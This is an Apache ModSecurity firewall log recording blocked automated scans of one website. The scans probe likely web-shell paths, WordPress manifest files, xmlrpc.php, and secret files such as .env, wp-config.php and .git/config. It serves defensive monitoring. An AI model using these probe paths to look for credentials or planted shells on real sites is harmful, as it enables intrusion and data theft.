[Tue Apr 28 19:51:04.997271 2026] [:error] [pid 33864:tid 33873] [client 68.221.203.83:20728] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "afCfKDXchLGZ4QggCskamAAAAIc"]
[Tue Apr 28 19:51:05.751590 2026] [:error] [pid 33776:tid 33808] [client 68.221.203.83:21785] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "afCfKV-bEJ2CKP3iKAAuzQAAAEA"]
[Tue Apr 28 19:51:06.496776 2026] [:error] [pid 2741:tid 2770] [client 68.221.203.83:8362] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afCfKvp92FeOz1h6ILzoHAAAAVg"]
[Tue Apr 28 19:51:07.207070 2026] [:error] [pid 33776:tid 33827] [client 68.221.203.83:24930] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afCfK1-bEJ2CKP3iKAAuzgAAAFM"]
[Tue Apr 28 19:51:07.943718 2026] [:error] [pid 33776:tid 33820] [client 68.221.203.83:20713] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afCfK1-bEJ2CKP3iKAAu0gAAAEw"]
[Tue Apr 28 19:51:15.379738 2026] [:error] [pid 33776:tid 33822] [client 68.221.203.83:28142] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "afCfM1-bEJ2CKP3iKAAu4wAAAE4"]
[Tue Apr 28 19:51:16.069793 2026] [:error] [pid 33864:tid 33882] [client 68.221.203.83:8359] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "afCfNDXchLGZ4QggCskaqgAAAJA"]
[Tue Apr 28 19:51:16.824005 2026] [:error] [pid 33776:tid 33823] [client 68.221.203.83:20716] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "afCfNF-bEJ2CKP3iKAAu5AAAAE8"]
[Tue Apr 28 19:51:17.394547 2026] [:error] [pid 33777:tid 33846] [client 68.221.203.83:20616] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "afCfNbXUCFWqmordGGLTIQAAAQs"]
[Tue Apr 28 20:32:10.903555 2026] [:error] [pid 2741:tid 2763] [client 136.113.161.45:51463] [client 136.113.161.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.161.45, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afCoyvp92FeOz1h6ILz0HAAAAVE"]
[Tue Apr 28 20:32:13.595119 2026] [:error] [pid 2741:tid 2769] [client 136.113.161.45:51463] [client 136.113.161.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "afCozfp92FeOz1h6ILz0JwAAAVc"]
[Tue Apr 28 20:32:14.550450 2026] [:error] [pid 33776:tid 33812] [client 136.113.161.45:52638] [client 136.113.161.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "afCozl-bEJ2CKP3iKAA0qQAAAEQ"]
[Tue Apr 28 20:32:15.480546 2026] [:error] [pid 33864:tid 33869] [client 136.113.161.45:64079] [client 136.113.161.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "afCozzXchLGZ4QggCskhdAAAAIM"]
[Tue Apr 28 20:32:16.451144 2026] [:error] [pid 33775:tid 33802] [client 136.113.161.45:65005] [client 136.113.161.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "afCo0JsYOcoQrq88YbUulAAAANc"]
[Tue Apr 28 20:32:17.373444 2026] [:error] [pid 33775:tid 33803] [client 136.113.161.45:56616] [client 136.113.161.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "afCo0ZsYOcoQrq88YbUumwAAANg"]
[Tue Apr 28 20:32:18.308407 2026] [:error] [pid 33864:tid 33884] [client 136.113.161.45:53755] [client 136.113.161.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "afCo0jXchLGZ4QggCskhewAAAJI"]
[Tue Apr 28 20:32:19.239211 2026] [:error] [pid 33864:tid 33876] [client 136.113.161.45:56435] [client 136.113.161.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "afCo0zXchLGZ4QggCskhgQAAAIo"]
[Tue Apr 28 20:48:47.005204 2026] [:error] [pid 33777:tid 33846] [client 43.157.43.147:45628] [client 43.157.43.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afCsr7XUCFWqmordGGLqmAAAAQs"]
[Wed Apr 29 00:25:58.285338 2026] [:error] [pid 33776:tid 33828] [client 114.96.103.33:49694] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afDfll-bEJ2CKP3iKABYDgAAAFQ"]
[Wed Apr 29 01:18:16.182172 2026] [:error] [pid 50889:tid 50896] [client 35.230.190.12:58120] [client 35.230.190.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.230.190.12, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afDr2IzszBr00txEzGiBRgAAAAQ"]
[Wed Apr 29 01:18:19.152778 2026] [:error] [pid 50889:tid 50892] [client 35.230.190.12:58120] [client 35.230.190.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "afDr24zszBr00txEzGiBWwAAAAA"]
[Wed Apr 29 01:18:20.165704 2026] [:error] [pid 33777:tid 33846] [client 35.230.190.12:52343] [client 35.230.190.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "afDr3LXUCFWqmordGGJHkgAAAQs"]
[Wed Apr 29 01:18:21.174450 2026] [:error] [pid 33777:tid 33835] [client 35.230.190.12:62673] [client 35.230.190.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "afDr3bXUCFWqmordGGJHlAAAAQA"]
[Wed Apr 29 01:18:22.241788 2026] [:error] [pid 3594:tid 3603] [client 35.230.190.12:60648] [client 35.230.190.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "afDr3lX25ha35uHxeYk5bQAAAYY"]
[Wed Apr 29 01:18:23.261413 2026] [:error] [pid 33776:tid 33814] [client 35.230.190.12:64423] [client 35.230.190.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "afDr31-bEJ2CKP3iKABdxQAAAEY"]
[Wed Apr 29 01:18:24.263845 2026] [:error] [pid 50889:tid 50915] [client 35.230.190.12:58752] [client 35.230.190.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "afDr4IzszBr00txEzGiBXgAAABc"]
[Wed Apr 29 01:18:25.267574 2026] [:error] [pid 3594:tid 3619] [client 35.230.190.12:55710] [client 35.230.190.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "afDr4VX25ha35uHxeYk5bwAAAZY"]
[Wed Apr 29 02:16:17.299584 2026] [:error] [pid 50889:tid 50895] [client 43.131.36.84:46960] [client 43.131.36.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afD5cYzszBr00txEzGiIVwAAAAM"]
[Wed Apr 29 02:20:52.504128 2026] [:error] [pid 50889:tid 50915] [client 143.244.57.118:37550] [client 143.244.57.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.57.118, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afD6hIzszBr00txEzGiJXwAAABc"]
[Wed Apr 29 02:20:55.624615 2026] [:error] [pid 50889:tid 50903] [client 143.244.57.118:37550] [client 143.244.57.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "afD6h4zszBr00txEzGiJawAAAAs"]
[Wed Apr 29 02:20:56.720647 2026] [:error] [pid 2741:tid 2765] [client 143.244.57.118:60012] [client 143.244.57.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "afD6iPp92FeOz1h6ILxUVAAAAVM"]
[Wed Apr 29 02:20:57.807509 2026] [:error] [pid 3594:tid 3600] [client 143.244.57.118:60024] [client 143.244.57.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "afD6iVX25ha35uHxeYlFlwAAAYM"]
[Wed Apr 29 02:20:58.897377 2026] [:error] [pid 3594:tid 3603] [client 143.244.57.118:60034] [client 143.244.57.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "afD6ilX25ha35uHxeYlFmQAAAYY"]
[Wed Apr 29 02:20:59.993735 2026] [:error] [pid 33777:tid 33835] [client 143.244.57.118:60044] [client 143.244.57.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "afD6i7XUCFWqmordGGJRagAAAQA"]
[Wed Apr 29 02:21:01.162301 2026] [:error] [pid 2741:tid 2753] [client 143.244.57.118:60056] [client 143.244.57.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "afD6jfp92FeOz1h6ILxUVwAAAUc"]
[Wed Apr 29 02:21:02.299080 2026] [:error] [pid 33776:tid 33808] [client 143.244.57.118:20939] [client 143.244.57.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "afD6jl-bEJ2CKP3iKABk7gAAAEA"]
[Wed Apr 29 03:55:09.579675 2026] [:error] [pid 56863:tid 56865] [client 170.106.113.159:49226] [client 170.106.113.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afEQnWQQTEnvYCOsiwK7vwAAAMA"]
[Wed Apr 29 05:18:47.259459 2026] [:error] [pid 40313:tid 40322] [client 20.220.167.206:65221] [client 20.220.167.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afEkN6px5sKFuV9bHzpM1QAAAUc"]
[Wed Apr 29 05:18:51.336598 2026] [:error] [pid 40344:tid 40376] [client 20.220.167.206:55895] [client 20.220.167.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afEkO5_iiwb4cHXz-JrpkAAAAcE"]
[Wed Apr 29 05:18:55.713881 2026] [:error] [pid 40343:tid 40352] [client 20.220.167.206:56281] [client 20.220.167.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afEkP2iaWCZjSxz2ZNtfVQAAAYU"]
[Wed Apr 29 05:19:00.477459 2026] [:error] [pid 40343:tid 40365] [client 20.220.167.206:50479] [client 20.220.167.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afEkRGiaWCZjSxz2ZNtfXAAAAZE"]
[Wed Apr 29 06:33:28.291801 2026] [:error] [pid 40343:tid 40364] [client 182.42.111.213:33874] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afE1uGiaWCZjSxz2ZNttowAAAZA"]
[Wed Apr 29 09:36:41.816088 2026] [:error] [pid 31749:tid 31775] [client 177.91.224.145:20928] [client 177.91.224.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.91.224.145, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afFgqfX0dDu1guIpvOvb5wAAAFg"]
[Wed Apr 29 10:08:00.151342 2026] [:error] [pid 52375:tid 52395] [client 43.157.67.70:43578] [client 43.157.67.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afFoAMy405ZTf_ICrJBQdgAAAFE"]
[Wed Apr 29 10:29:21.971750 2026] [:error] [pid 61539:tid 61549] [client 34.53.232.41:41654] [client 34.53.232.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afFtAV3XmLvOLqFtXVEjcQAAAAY"]
[Wed Apr 29 13:08:52.985310 2026] [:error] [pid 61541:tid 61622] [client 85.11.167.38:31128] [client 85.11.167.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afGSZFoqNK1GZvjPpy5vpQAAAhY"], referer: http://measureyourbrand.com.au/
[Wed Apr 29 13:08:53.089008 2026] [:error] [pid 61541:tid 61613] [client 85.11.167.38:31150] [client 85.11.167.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php"] [unique_id "afGSZVoqNK1GZvjPpy5vpwAAAg0"], referer: http://measureyourbrand.com.au/
[Wed Apr 29 13:08:53.201658 2026] [:error] [pid 61541:tid 61622] [client 85.11.167.38:31106] [client 85.11.167.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "afGSZVoqNK1GZvjPpy5vqAAAAhY"], referer: http://measureyourbrand.com.au/
[Wed Apr 29 13:12:34.790135 2026] [:error] [pid 22901:tid 22908] [client 85.11.167.38:51188] [client 85.11.167.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/Web.config" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/web.config"] [unique_id "afGTQhvfVEXI-f42iRRFsgAAAQU"], referer: http://measureyourbrand.com.au/
[Wed Apr 29 13:12:34.794117 2026] [:error] [pid 61628:tid 61644] [client 85.11.167.38:51192] [client 85.11.167.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/composer.json"] [unique_id "afGTQvXzdLVcrP-YPZg4bwAAAMs"], referer: http://measureyourbrand.com.au/
[Wed Apr 29 13:12:35.117400 2026] [:error] [pid 61540:tid 61575] [client 85.11.167.38:51140] [client 85.11.167.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "afGTQ-Q8cJB7pQslzIezogAAAII"], referer: http://measureyourbrand.com.au/
[Wed Apr 29 13:14:34.129780 2026] [:error] [pid 2604:tid 2628] [client 85.11.167.38:26972] [client 85.11.167.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.js"] [unique_id "afGTuhx5WQMU1W68tTYV9AAAAFY"], referer: http://measureyourbrand.com.au/
